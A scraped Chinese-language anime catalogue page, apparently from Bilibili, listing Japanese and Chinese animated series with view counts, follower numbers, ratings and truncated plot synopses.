+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 9039.9 万 + + + 追番人数 335.0 万 + + + 硬币数 52.4 万 + + + 弹幕总数 47.9 万 + + + 评分 9.7 + + +
+

简介:「不想工作!」 +在这样的想法下不断努力,靠着不劳而获的收入成为了「上流家里蹲」的二之宫锦司。 +正在他打算到死为止都要这样懒惰地生活下去时……出于某种原因突然穿越到异世界! +那里是一个「迷宫就是职场」的...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 27.4 万 + + + 追番人数 1.6 万 + + + 硬币数 1347 + + + 弹幕总数 2736 + + + 评分 - + + +
+

简介:曾經是平凡高中生的深澄真,因為某種緣由被召喚到異世界成為了“勇者”。 +然而世界的女神卻因為「長得太醜了」而立刻剝奪了他的“勇者”稱號,發配到了世界盡頭的荒野上。 +在荒野上彷徨的真遇到了龍與蜘蛛、半獸人...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1716.4 万 + + + 追番人数 98.5 万 + + + 硬币数 5.4 万 + + + 弹幕总数 15.1 万 + + + 评分 8.8 + + +
+

简介:作为社畜每日辛勤工作的男人,桐尾礼治。 +今天也顶着死鱼眼朝公司走去,不知不觉中身处在异世界的森林之中。 +…啊,是最近流行的异世界转生啊。 +拥有的技能是「鉴定、制药」这两个, +就这…?算了。 +虽然是这么...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 4.2 亿 + + + 追番人数 908.0 万 + + + 硬币数 234.3 万 + + + 弹幕总数 278.9 万 + + + 评分 8.9 + + +
+

简介:主人公利姆鲁与仰慕他而聚集的众多魔物们所建立的国家「鸠拉·特恩佩斯特国」,经由与邻国的协议及交易,让「人类与魔物共同漫步的国家」这一温柔的理想逐步成形。 + +利姆鲁作为曾是人类的史莱姆当然拥有「对人类的...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 33.6 万 + + + 追番人数 1.8 万 + + + 硬币数 1736 + + + 弹幕总数 5616 + + + 评分 - + + +
+

简介:前世與現世交錯——擁有兩份記憶的少年面對命運!! +小時候,母親被殺而成為孤兒的利歐在貧民窟裡艱難地生存。 +有一天,利歐因夢見與青梅竹馬的重逢而想起了意外身亡的“天川春人的記憶”, +隨之覺醒的“強大的魔...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 8342.8 万 + + + 追番人数 257.5 万 + + + 硬币数 32.0 万 + + + 弹幕总数 74.3 万 + + + 评分 7.3 + + +
+

简介:前世与现世交错——拥有两份记忆的少年面对命运!! +小时候,母亲被杀而成为孤儿的利欧在贫民窟里艰难地生存。 +有一天,利欧因梦见与青梅竹马的重逢而想起了意外身亡的“天川春人的记忆”, +随之觉醒的“强大的魔...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 27.9 万 + + + 追番人数 2.4 万 + + + 硬币数 2038 + + + 弹幕总数 5099 + + + 评分 - + + +
+

简介:“你、來當我的助手吧。” +有著被捲入事件體質的少年・君塚君彥,在高空一萬米的飛機上,成為了自稱是偵探的天使般的美麗少女・謝絲塔的助手。二人為了同世界各地的敵人戰鬥,三年來輾轉於世界各地,展開了一系列驚...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4870.7 万 + + + 追番人数 249.0 万 + + + 硬币数 39.0 万 + + + 弹幕总数 43.7 万 + + + 评分 9.7 + + +
+

简介:"原本出身高贵的某位贵族少爷,在年幼时突然被魔女诅咒附加“只要触碰到生物就会夺走其生命”的能力,进而不得不远离家人和朋友,遭受周遭的惧怕和忌讳。孑然一身的他,一度决意隐居在森林深处的别墅孤独终老。很多...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 26.9 万 + + + 追番人数 2.4 万 + + + 硬币数 2772 + + + 弹幕总数 5010 + + + 评分 - + + +
+

简介:原本出身高貴的貴族少爺,在年幼時突然被魔女詛咒附加“只要觸碰到生物就會奪走其生命”的能力,不得不遠離家人和朋友,遭受周遭的懼怕和忌諱。 +孑然一身的他,一度決意隱居在森林深處的別墅孤獨終老。很多年後,他...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 5438.1 万 + + + 追番人数 260.2 万 + + + 硬币数 36.5 万 + + + 弹幕总数 71.0 万 + + + 评分 7.1 + + +
+

简介:“你、来当我的助手吧。” +有着被卷入事件体质的少年・君冢君彦,在高空一万米的飞机上,成为了自称是侦探的天使般的美丽少女・谢丝塔的助手。二人为了同世界各地的敌人战斗,三年来辗转于世界各地,展开了一系列惊...

+
+
+ + +
+
+
+
+ +
+ + + + 未完结0 + + + + + 番剧 日本 + + + + 总播放 29.6 万 + + + 追番人数 1.8 万 + + + 硬币数 1372 + + + 弹幕总数 3668 + + + 评分 - + + +
+

简介:公爵千金卡塔莉娜·克拉艾斯因為頭部被石頭砸中而蘇醒了前世的記憶。 +這裡是她前世所沉迷的女性向遊戲「幸運戀人」的世界, +而自己卻是遊戲主人公愛情路上的絆腳石反派大小姐! +在遊戲中,等待著卡塔莉娜的結局是...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 67.5 万 + + + 追番人数 5.4 万 + + + 硬币数 6344 + + + 弹幕总数 1.9 万 + + + 评分 - + + +
+

简介:主人公直也是高中1年級學生。向一直喜歡著的咲告白,成功讓她成為了自己的女朋友。幸福達到了巔峰。但是,美少女渚向直也搭話。突然間她對直也做出了希望能夠交往的強勢告白。因為渚的好人性格而心生動搖的直也,做...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 国创 中国大陆 + + + + 总播放 4102.1 万 + + + 追番人数 87.4 万 + + + 硬币数 40.6 万 + + + 弹幕总数 16.8 万 + + + 评分 9.8 + + +
+

简介:"在某个世界泡中,武装人偶与死士的冲突从未间断过。伴随着二者之间的冲突不断升级,世界泡的稳定性正逐渐降低。为了拯救这个即将崩坏的世界,人类成立了专门用来管理与控制人偶的组织。为了掩盖黑暗的真相,人类特...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6354.0 万 + + + 追番人数 422.2 万 + + + 硬币数 37.1 万 + + + 弹幕总数 140.6 万 + + + 评分 9.8 + + +
+

简介:一张签名引发的血案…每周一次腹肌炼成!不一样的少(dou)女(bi)番! +高中女生佐仓千代好不容易提起勇气向同年级的野崎梅太郎告白,得到的却是野崎的亲笔签名,和“要不要来我家?”的邀请。佐仓虽然对意料...

+
+
+ + +
+
+
+
+ +
+ + + + 全1话0 + + + + + 番剧 日本 + + + + 总播放 164.7 万 + + + 追番人数 121.3 万 + + + 硬币数 4.4 万 + + + 弹幕总数 1.4 万 + + + 评分 9.9 + + +
+

简介:KEY社制作PC游戏『planetarian』在2019年迎来发售15周年。 +无论何时都不会消散的,美丽而无垠的星光……。 +满天繁星等待着您。...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 1.8 亿 + + + 追番人数 553.6 万 + + + 硬币数 233.3 万 + + + 弹幕总数 286.4 万 + + + 评分 9.5 + + +
+

简介:由崎星空对神秘美少女——司一见钟情。面对星空决死的告白,她的回答是“如果你愿意和我结婚,那我就跟你交往”?!充满了星空与司的爱,可爱&高贵的新婚生活开始了!...

+
+
+ + +
+
+
+
+ +
+ + + + 全14话0 + + + + + 番剧 日本 + + + + 总播放 11.9 万 + + + 追番人数 7343 + + + 硬币数 720 + + + 弹幕总数 1997 + + + 评分 9.3 + + +
+

简介:從小就是個超級書痴的女大學生麗乃,愛書愛到希望在書堆裡死去。該說是「夢想成真」嗎?好不容易應徵上圖書館工作的她,卻在地震時被掉落的書給活埋…… +當她再度醒過來,發現自己竟然轉生到了陌生的異世界,變成名...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3909.6 万 + + + 追番人数 181.5 万 + + + 硬币数 37.1 万 + + + 弹幕总数 29.4 万 + + + 评分 9.8 + + +
+

简介:本作改编自特摄作品《电光超人古立特》。高中一年生的麻中蓬,在某日回家的路上,对自称「怪兽使」却饿倒在路旁的谜之青年失马施以援手。为了迎击突然出现的怪兽,蓬与同班同学南梦芽、无业青年山中历、飞鸟川千濑共...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1417.0 万 + + + 追番人数 58.5 万 + + + 硬币数 3.4 万 + + + 弹幕总数 10.4 万 + + + 评分 9.1 + + +
+

简介:1972年,连接地球与火星的古代文明遗产“超空间门”被发现。地球向火星派出了调查团,找到了古代文明的“Aldnoah”科技。之后,火星上成立了“弗思帝国”,与地球的联合政府开战,引发了让月球碎裂的“天...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4151.4 万 + + + 追番人数 188.4 万 + + + 硬币数 22.1 万 + + + 弹幕总数 34.4 万 + + + 评分 5.4 + + +
+

简介:她只会冲我一个人偷偷地笑。 + +对方可知白草是获得芥见赏的现役女高中生作家!而且还是个美少女! +本人丸末晴作为一个普通的高中生与她实在是非常不相配这种事情我还是知道的! +但是,还是觉得有戏,大概…啊不,...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 3298.8 万 + + + 追番人数 170.3 万 + + + 硬币数 55.1 万 + + + 弹幕总数 18.7 万 + + + 评分 9.8 + + +
+

简介:“Nierland”,那是将梦想、希望、科学融为一体的AI复合乐园。 +作为史上最初的自律人型AI而生,每日作为设施的AI角色活动,持续于舞台上歌唱。但其人气依然不够。 +――「唱出让所有人都满意的歌曲」...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 6069.1 万 + + + 追番人数 210.3 万 + + + 硬币数 13.0 万 + + + 弹幕总数 142.4 万 + + + 评分 9.1 + + +
+

简介:高中生芹沼花依,是个看到男生之间的亲密关系就会产生妄想的女生。 +某天,她由于喜爱的动画角色死亡,受到冲击而体重骤减,结果却因此而受到校内4位美男子的约会邀请。 +“明明和我在一起什么的一点也不萌,难道我...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1.1 亿 + + + 追番人数 834.5 万 + + + 硬币数 47.8 万 + + + 弹幕总数 47.6 万 + + + 评分 9.7 + + +
+

简介:美妙的史莱姆人生! + +累计突破50万部的大人气外传四格漫画『转生史莱姆日记』,作为转生史莱姆的外传系列首次TV动画化! +「因为拿到了贵重的纸,我把至今为止发生的事情以日记形式记录了下来。开头的话就这么...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 154.4 万 + + + 追番人数 25.6 万 + + + 硬币数 1.3 万 + + + 弹幕总数 5.2 万 + + + 评分 7.3 + + +
+

简介:20歲的廢柴大學生——木之下和也。和初戀女友僅接吻了壹次,可只過了壹個月就被甩了。 +“啊……不行了……感覺什麽都不行了……” +自暴自棄的和也,使用了“某種方法”,和女孩子去約會了。到了碰頭的地點—— +...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 国创 中国大陆 + + + + 总播放 2735.3 万 + + + 追番人数 237.3 万 + + + 硬币数 9.2 万 + + + 弹幕总数 7.5 万 + + + 评分 9.3 + + +
+

简介:《如果历史是一群喵》是一部以华夏历史为主线的非严谨萌系动画,作品以风趣幽默的语言对历史事件进行了重新解读,更容易为年轻人记忆和接受。在表达上,作品用现代动画的手法塑造了12只体态丰盈、造型可爱的猫咪,...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 4.0 亿 + + + 追番人数 615.7 万 + + + 硬币数 169.0 万 + + + 弹幕总数 196.6 万 + + + 评分 7.9 + + +
+

简介:曾经是一名女高中生的“我”,突然转生变成了幻想世界中的蜘蛛魔物。 +而且,出生地点还是各种凶恶魔物所盘踞的大迷宫。 +“我”以人类的智慧和非同寻常的积极心态为武器,使用蜘蛛的丝网以及陷阱打倒比自己等级高得...

+
+
+ + +
+
+
+
+ +
+ + + + 全14话0 + + + + + 番剧 日本 + + + + 总播放 5669.9 万 + + + 追番人数 220.5 万 + + + 硬币数 38.3 万 + + + 弹幕总数 54.4 万 + + + 评分 9.1 + + +
+

简介:友崎文也在日本是首屈一指的游戏玩家,但现实中却是个孤僻的高中生。 + +断言“人生就是垃圾游戏”的他, +遇到了完美的学园女主角·日南葵。 + +「你要认真地面对『人生』这一游戏!」 + +人生究竟是垃圾游戏还是神...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 61.2 万 + + + 追番人数 6.9 万 + + + 硬币数 1.2 万 + + + 弹幕总数 1.7 万 + + + 评分 7.6 + + +
+

简介:被單戀的對象乾脆地甩掉,在喝悶酒之後回家的路上, +26歲的吉田遇到了坐在路邊的沙優。 + +爛醉如泥的吉田,在神誌不清的狀態下讓無處可去的沙優留宿一晚。 + +沒法將離家出走、無處可去的沙優趕出家門, +於是吉...

+
+
+ + +
+
+
+
+
+ ReLIFE +
+
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 4435.4 万 + + + 追番人数 266.4 万 + + + 硬币数 41.5 万 + + + 弹幕总数 36.6 万 + + + 评分 9.9 + + +
+

简介:海崎新太(27岁)在作为新毕业生进入的公司工作了3个月就辞职了。 +之后他的就职活动也不顺利。 +双亲寄来的生活费也中断了,不得已只好回到乡下。 +能够倾听他烦恼的朋友和女友全都没有…… +穷途末路的...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1691.5 万 + + + 追番人数 90.5 万 + + + 硬币数 9.9 万 + + + 弹幕总数 13.7 万 + + + 评分 9.7 + + +
+

简介:故事讲述过着平凡生活的少女夜之森小红在其16岁生日时,遇到了自称是其婚约者的少年三峰白夜、以及白夜的妹妹三峰真白,并且要和他们二人开始一同生活。加上不但是妹控还是变态的小红的姐姐夜之森红绪,是一部描写...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 9574.5 万 + + + 追番人数 299.4 万 + + + 硬币数 53.4 万 + + + 弹幕总数 73.4 万 + + + 评分 9.5 + + +
+

简介:普通的OL·相泽梓因过量工作而过劳死,在异世界转生成为不老不死的魔女亚梓莎。出于对前世的反省,她开始在边境的高原度过悠闲的慢生活。 +打倒史莱姆赚点小钱,像个魔女一样制作魔药提供给山麓的村子。其他就没什...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2713.9 万 + + + 追番人数 193.7 万 + + + 硬币数 10.8 万 + + + 弹幕总数 46.3 万 + + + 评分 9.5 + + +
+

简介:在一个架空的类欧洲中世纪世界中,身为勇者的男主角和虽然身为“魔王”但本性善良的女主角在邂逅之后,通过沟通放下了彼此间的嫌隙,开始一同踏上了为这个黑暗的世界寻求光明的道路。这中间,他们遇上了很多值得信赖...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 19.9 万 + + + 追番人数 3.8 万 + + + 硬币数 1454 + + + 弹幕总数 3669 + + + 评分 6.1 + + +
+

简介:平凡的高中生·結城宏偶然得到了一款完全沉浸式RPG『極QUEST』。 +集合技術精華製作出來的這款遊戲,正如「極盡真實」這一宣傳語一般, +圖形、NPC的舉動、草木的香氣以及吹拂肌膚的風,全都完美地達到了...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 5692.2 万 + + + 追番人数 249.6 万 + + + 硬币数 30.0 万 + + + 弹幕总数 61.0 万 + + + 评分 9.7 + + +
+

简介:在「Fate/Zero」中,与征服王伊斯坎达尔一同跨越了第四次圣杯战争的少年,韦伯·维尔维特。 +时光流转,少年继承了君主·埃尔梅罗的称号,以君主·埃尔梅罗Ⅱ世的身份,在魔术师们的总部·时钟塔面临了各种...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 15.9 万 + + + 追番人数 1.2 万 + + + 硬币数 1043 + + + 弹幕总数 2916 + + + 评分 - + + +
+

简介:稍微有點工作狂的20幾歲的職員·聖,在加班回家的一個夜裡突然被光芒包圍,被召喚到了異世界成了「聖女」。而且同時被召喚的還是兩個人! ?王子卻只搭理另一位女高中生,對聖完全無視。 +「既然如此那我也就隨心...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3690.6 万 + + + 追番人数 146.0 万 + + + 硬币数 13.2 万 + + + 弹幕总数 30.7 万 + + + 评分 8.8 + + +
+

简介:稍微有点工作狂的20几岁的职员·圣,在加班回家的一个夜里突然被光芒包围,被召唤到了异世界成了「圣女」。而且同时被召唤的还是两个人!?王子却只搭理另一位女高中生,对圣完全无视。 +「既然如此那我也就随心所...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 41.3 万 + + + 追番人数 3.3 万 + + + 硬币数 5816 + + + 弹幕总数 8008 + + + 评分 9.8 + + +
+

简介:美妙的史萊姆人生! + +累計突破50萬部的大人氣外傳四格漫畫『轉生史萊姆日記』,作為轉生史萊姆的外傳系列首次TV動畫化! +「因為拿到了貴重的紙,我把至今為止發生的事情以日記形式記錄了下來。開頭的話就這麼...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 5514.2 万 + + + 追番人数 251.0 万 + + + 硬币数 25.8 万 + + + 弹幕总数 127.0 万 + + + 评分 9.6 + + +
+

简介:以一家咖啡厅为舞台,讲述着店员之间的交流,新人店员苺香来到了有着等各种性格特异员工的咖啡厅,在这充满特色的咖啡厅中,欢乐的打工生活由此展开!...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 8.0 万 + + + 追番人数 8575 + + + 硬币数 413 + + + 弹幕总数 1046 + + + 评分 - + + +
+

简介:被家族斷絕關係的膽小龍族之子·萊迪。 +他為了在生存著多種多樣種族的廣大世界中活下去, +為了尋找讓弱小的自己也能安心的住宅,而踏上了旅程。 +途中萊迪遭遇了勇者一行,而拯救他脫離危機的 +是自稱不動產商的精...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3492.3 万 + + + 追番人数 159.8 万 + + + 硬币数 12.0 万 + + + 弹幕总数 19.9 万 + + + 评分 9.4 + + +
+

简介:被家族断绝关系的胆小龙族之子·莱迪。 +他为了在生存着多种多样种族的广大世界中活下去, +为了寻找让弱小的自己也能安心的住宅,而踏上了旅程。 +途中莱迪遭遇了勇者一行,而拯救他脱离危机的 +是自称不动产商的精...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 615.9 万 + + + 追番人数 63.7 万 + + + 硬币数 2.6 万 + + + 弹幕总数 7.0 万 + + + 评分 9.8 + + +
+

简介:【本片翻译由轻之国度字幕组提供】人类衰退之后故事描述人类在衰退之后经过了好几个世纪,一个成为了调停官的旧人类少女与新人类“精灵”之间交流的故事。 +欢乐的地球大冒险,即将启程—— +我们人类迎接缓慢的衰退...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 1033.1 万 + + + 追番人数 68.0 万 + + + 硬币数 3.9 万 + + + 弹幕总数 26.0 万 + + + 评分 9.3 + + +
+

简介:——如果公主殿下与我约定的话,我便会为了公主殿下而战。身为最后的魔女—— +公元1939年,帝国主义国家日耳曼尼亚帝国突然开始了对邻国的侵略。 +战火瞬间蔓延到整个欧洲,时代被卷入了大战的漩涡之中。 +之后...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 503.8 万 + + + 追番人数 53.3 万 + + + 硬币数 1.4 万 + + + 弹幕总数 16.3 万 + + + 评分 9.1 + + +
+

简介:  主人公·秋山奏隶属于学校的天文学会,而天文学会当中有着许多个性丰富的成员。他们在一起解决发生在内滨学园的各种怪异事件。而他之所以加入天文学会,也有着一段不为人知的故事:某天因为受伤的关系,他放学后...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 988.2 万 + + + 追番人数 80.7 万 + + + 硬币数 3.4 万 + + + 弹幕总数 24.3 万 + + + 评分 9.3 + + +
+

简介:电视动画《恶魔之谜》改编自高河弓原作,南方纯作画的同名漫画,于2014年4月3日开始播放。...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 9.7 万 + + + 追番人数 9321 + + + 硬币数 624 + + + 弹幕总数 988 + + + 评分 - + + +
+

简介:女主人公有馬一花是一名普通的女孩。一天她偶遇了一名通勤路上突然身體不適的上班族天草亮。心地善良的一花毫不吝嗇的將自己的便當送給了他。天草亮被女孩的純真溫柔所打動,瞬間墜入了愛河。於是對有馬一花展開了強...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 3316.7 万 + + + 追番人数 133.5 万 + + + 硬币数 27.7 万 + + + 弹幕总数 31.1 万 + + + 评分 9.2 + + +
+

简介:女主人公有马一花是一名普通的女孩。一天她偶遇了一名通勤路上突然身体不适的上班族天草亮。心地善良的一花毫不吝啬的将自己的便当送给了他。天草亮被女孩的纯真温柔所打动,瞬间坠入了爱河。于是对有马一花展开了强...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 国创 中国大陆 + + + + 总播放 1976.0 万 + + + 追番人数 110.8 万 + + + 硬币数 9.0 万 + + + 弹幕总数 6.3 万 + + + 评分 8.4 + + +
+

简介:在异世界日复一日修复着化作人形的文物少女们,虽然被当做工具人时常感到身心疲惫,但依然孜孜不倦地调查秘灵世界的真相,这是关于意外获得了修复师能力的打工人钟子信与编钟少女崇音对抗遗忘病毒的解谜探险故事。...

+
+
+ + +
+
+
+
+
+ 灵笼 +
+
+ + + + 全16话0 + + + + + 国创 中国大陆 + + + + 总播放 5.9 亿 + + + 追番人数 891.9 万 + + + 硬币数 670.2 万 + + + 弹幕总数 668.4 万 + + + 评分 9.6 + + +
+

简介:不久的未来,人类的世界早已拥挤不堪,迈向星河、寻找新家园的行动迫在眉捷。正当一切有条不紊的推进之时,月相异动,脚下的大地爆发了长达数十年、剧烈的地质变化,人类在这场浩劫中所剩无几。当天地逐渐恢复平静,...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 274.0 万 + + + 追番人数 17.0 万 + + + 硬币数 3155 + + + 弹幕总数 4.6 万 + + + 评分 9 + + +
+

简介:想更加出人头地!为了实现这样的理想,单色小姐以成为卖座偶像为目标开始活动,尽管天然性格的单色小姐总是给周围带来麻烦,但还是每日奔走于偶像业界!...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 番剧 日本 + + + + 总播放 6080.0 万 + + + 追番人数 239.9 万 + + + 硬币数 27.4 万 + + + 弹幕总数 87.3 万 + + + 评分 9.5 + + +
+

简介:山本健太郎、立花亮与杉原和哉这三个黑道组织的流氓,因为犯了错,而被组织的老大下令转性变成女性偶像歌手替老板赚钱。原先三人想拒绝,但却因为不想死而接受了这个条件。但没想到他们成为偶像歌手之后,居然真的走...

+
+
+ + +
+
+
+
+ +
+ + + + 全10话0 + + + + + 国创 中国大陆 + + + + 总播放 4.6 亿 + + + 追番人数 1030.3 万 + + + 硬币数 404.3 万 + + + 弹幕总数 185.6 万 + + + 评分 9.8 + + +
+

简介:为了保护小鸡岛居民和这里平静的生活,伍六七和他的伙伴大保和小飞开启了去往玄武国的冒险旅程,去寻找身世的真相和解救小岛的办法,等待他们的又将是更多的未知与奇遇。...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 15.3 万 + + + 追番人数 6.6 万 + + + 硬币数 1676 + + + 弹幕总数 6736 + + + 评分 9.6 + + +
+

简介:對你而言,世界是怎樣的呢——。 +獲得了打開大門的鑰匙的兩位女主人公,帕皮卡和可可娜。 +少女與少女相遇,開始了在不同的時間、相異的空間“Pure Illusion”的冒險。 +在尋找著據說能實現願望的神秘...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 2.6 亿 + + + 追番人数 772.7 万 + + + 硬币数 398.1 万 + + + 弹幕总数 263.6 万 + + + 评分 9.8 + + +
+

简介:不论是谁,都会有不想被人知道的一面。 + +在学校中漂亮大方、成绩优秀的人气女生堀,私下却打扮土气、忙于家务和照顾弟弟。 +在学校中是阴暗宅男形象的宫村,生活中却是打扮时尚、带耳钉的帅气男生。 +因为一次特别...

+
+
+ + +
+
+
+
+ +
+ + + + 全13话0 + + + + + 番剧 日本 + + + + 总播放 2354.0 万 + + + 追番人数 113.3 万 + + + 硬币数 11.1 万 + + + 弹幕总数 18.9 万 + + + 评分 9.5 + + +
+

简介:起初,神创造天地。 +万能的神,创造了一切。 + +创造光、水、大地—— +接下来创造住在那里的生物,动物—— +虽然是这么想的,但觉得太麻烦于是就委托外包了…!? + +受到神(客户)的委托创造生物的天地创造社。...

+
+
+ + +
+
+
+
+ +
+ + + + 全11话0 + + + + + 番剧 日本 + + + + 总播放 1010.4 万 + + + 追番人数 128.9 万 + + + 硬币数 3.3 万 + + + 弹幕总数 7588 + + + 评分 - + + +
+

简介:为了应对吉亚迪所开发出的完全独立无人战斗兵器“军团”的入侵,其邻国圣格诺利亚共和国开发了无人战斗兵器毁灭之力。但是,无人战斗机只是空有名号,实际是没有被认可为”人“的人们——86——驾驶,被当作道具来...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2191.3 万 + + + 追番人数 90.2 万 + + + 硬币数 12.8 万 + + + 弹幕总数 27.7 万 + + + 评分 7.2 + + +
+

简介:满足自己的食欲、物欲,将世界最强的技能创作、赋予、编辑出来!! +藏匿了大量稀有魔物和珍奇宝物的传颂之地——隐藏迷宫。 +失业的贫困贵族三男·诺尔,幸运地打开了这座隐藏迷宫的入口。在隐藏迷宫中,诺尔学会了...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 2356.3 万 + + + 追番人数 180.1 万 + + + 硬币数 40.7 万 + + + 弹幕总数 25.0 万 + + + 评分 9.9 + + +
+

简介:「旭丘分校」的学生,仅有五人。 +虽然学年性格各不相同,但大家一起做菜、一起捉虫、一起试着练习乐器……春夏秋冬四季变换的乡村生活,一直都那么让人兴奋。 +虽然一如既往地平和,但在欢笑和感动当中,心中也变得...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 20.9 万 + + + 追番人数 1.8 万 + + + 硬币数 1125 + + + 弹幕总数 3508 + + + 评分 - + + +
+

简介:滿足自己的性欲、食欲、物欲,將世界最強的技能創作、賦予、編輯出來!! +藏匿了大量稀有魔物和珍奇寶物的傳頌之地——隱藏迷宮. +失業的貧困貴族三男·諾爾,幸運地打開了這座隱藏迷宮的入口。在隱藏迷宮中,諾爾...

+
+
+ + +
+
+
+
+ +
+ + + + 全24话0 + + + + + 番剧 日本 + + + + 总播放 8.0 亿 + + + 追番人数 1202.2 万 + + + 硬币数 443.2 万 + + + 弹幕总数 516.7 万 + + + 评分 9.7 + + +
+

简介:少年战斗着——「为寻求正确的死亡」 +辛酸·后悔·耻辱 + +人类产生的负面情感,化为诅咒,潜入日常生活 + +诅咒是蔓延于世界的祸源,最糟糕的情况下,会让人类踏入死亡 +并且,诅咒只能以诅咒祓除 + +拥有惊人身体...

+
+
+ + +
+
+
+
+ +
+ + + + 全11话0 + + + + + 番剧 日本 + + + + 总播放 4515.6 万 + + + 追番人数 334.5 万 + + + 硬币数 22.3 万 + + + 弹幕总数 40.6 万 + + + 评分 2.8 + + +
+

简介:——自由、是多么美丽、而又多么残酷啊。 +成功从Grace=Field House逃出的15个孩子。 +等待在抛弃虚伪的乐园而勇敢追求自由的他们的面前是、未曾见过的动植物、 +以及一路追赶而来的「鬼」……外...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 8483.2 万 + + + 追番人数 486.3 万 + + + 硬币数 98.0 万 + + + 弹幕总数 96.0 万 + + + 评分 9.7 + + +
+

简介:面对“将要留级”、“讨厌学习”的美少女五姐妹,身为兼职家庭教师的风太郎要指导她们学习,直到“顺利毕业”为止。经历了林间学校中发生的许多事情后,风太郎与五姐妹的信赖进一步加深。 +想要在作为家庭教师的事业...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 4773.2 万 + + + 追番人数 369.1 万 + + + 硬币数 37.4 万 + + + 弹幕总数 50.0 万 + + + 评分 9.1 + + +
+

简介:「我要变得更强。因为我不想输给这个社会和本能。」 +雷格西接受了自己食肉动物的身份,并朝着与春的恋情迈进了一步。然而,雷格西本以为自己回到了平静的校园生活,却不知新的危机正在逼近。那就是悬而未决的「食杀...

+
+
+ + +
+
+
+
+ +
+ + + + 全12话0 + + + + + 番剧 日本 + + + + 总播放 703.8 万 + + + 追番人数 56.4 万 + + + 硬币数 1.8 万 + + + 弹幕总数 3.4 万 + + + 评分 8.4 + + +
+

